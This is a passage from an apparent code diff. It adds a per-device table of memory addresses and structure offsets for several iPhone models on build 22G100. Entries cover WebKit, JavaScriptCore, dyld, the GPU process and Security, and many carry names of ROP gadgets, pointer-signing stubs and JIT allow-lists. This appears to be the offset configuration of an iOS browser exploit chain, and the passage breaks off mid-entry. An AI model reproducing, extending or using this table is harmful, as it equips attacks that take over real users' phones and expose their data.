0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218861820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23ccb48b4n, + libGPUCompilerImplLazy_cstring : 0x23bdfe870n, + libsystem_c__atexit_mutex : 0x1ed6e6758n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d020000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e59c0n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2576e7e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d026988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271118000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87a768n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887538n, + WebCore__initPKContact_value : 0x1ed887540n, + WebCore__PAL_getPKContactClass : 0x1ed87e9f8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed885d10n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed885d08n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed885cf0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87b940n, + }, + "iPhone12,8_22G100": { + __pthread_head : 0x2689e8020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f9ba8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9690n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f95f0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9640n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f8a38n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95e90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed7078c8n, + free_slabs : 0x1ed7c1050n, + gadget_control_1_ios184 : 0x23ee302ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f007150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da270n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d9f20n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d9f28n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d9f30n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d9e70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d9f38n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cbd28b4n, + libGPUCompilerImplLazy_cstring : 0x23bd1c870n, + libsystem_c__atexit_mutex : 0x1ed6e64d8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5740n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2575ffe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271050000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87a4e8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed8872b8n, + WebCore__initPKContact_value : 0x1ed8872c0n, + WebCore__PAL_getPKContactClass : 0x1ed87e778n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed885a90n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed885a88n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed885a70n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87b6c0n, + }, + "iPhone13,1_22G100": { + __pthread_head : 0x268d14020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa1e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9cd0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9c30n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9c80n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9078n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed707f08n, + free_slabs : 0x1ed7c1690n, + gadget_control_1_ios184 : 0x23ed4d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01a150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da8b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da560n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da568n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da570n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da4b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da578n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23caef8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc39870n, + libsystem_c__atexit_mutex : 0x1ed6e6b18n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5d80n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2578d7e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27138c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ab28n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed8878f8n, + WebCore__initPKContact_value : 0x1ed887900n, + WebCore__PAL_getPKContactClass : 0x1ed87edb8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8860d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8860c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8860b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87bd00n, + }, + "iPhone13,2_3_22G100": { + __pthread_head : 0x26972c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa328n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9e10n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9d70n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9dc0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f91b8n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708048n, + free_slabs : 0x1ed7c17d0n, + gadget_control_1_ios184 : 0x23ed4d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01a150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da9f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da6a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da6a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da6b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da5f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da6b8n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23caef8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc39870n, + libsystem_c__atexit_mutex : 0x1ed6e6c58n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5ec0n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a32e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271dbc000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ac68n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887a38n, + WebCore__initPKContact_value : 0x1ed887a40n, + WebCore__PAL_getPKContactClass : 0x1ed87eef8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed886210n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed886208n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8861f0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87be40n, + }, + "iPhone13,4_22G100": { + __pthread_head : 0x26972c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa328n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9e10n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9d70n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9dc0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f91b8n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708048n, + free_slabs : 0x1ed7c17d0n, + gadget_control_1_ios184 : 0x23ed4d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01a150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da9f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da6a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da6a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da6b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da5f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da6b8n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23caef8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc39870n, + libsystem_c__atexit_mutex : 0x1ed6e6c58n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5ec0n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a32e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271dbc000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ac68n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887a38n, + WebCore__initPKContact_value : 0x1ed887a40n, + WebCore__PAL_getPKContactClass : 0x1ed87eef8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed886210n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed886208n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8861f0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87be40n, + }, + "iPhone14,2_22G100": { + __pthread_head : 0x269af4020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa528n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa010n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9f70n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9fc0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f93b8n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708248n, + free_slabs : 0x1ed7c19d0n, + gadget_control_1_ios184 : 0x23ed212ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 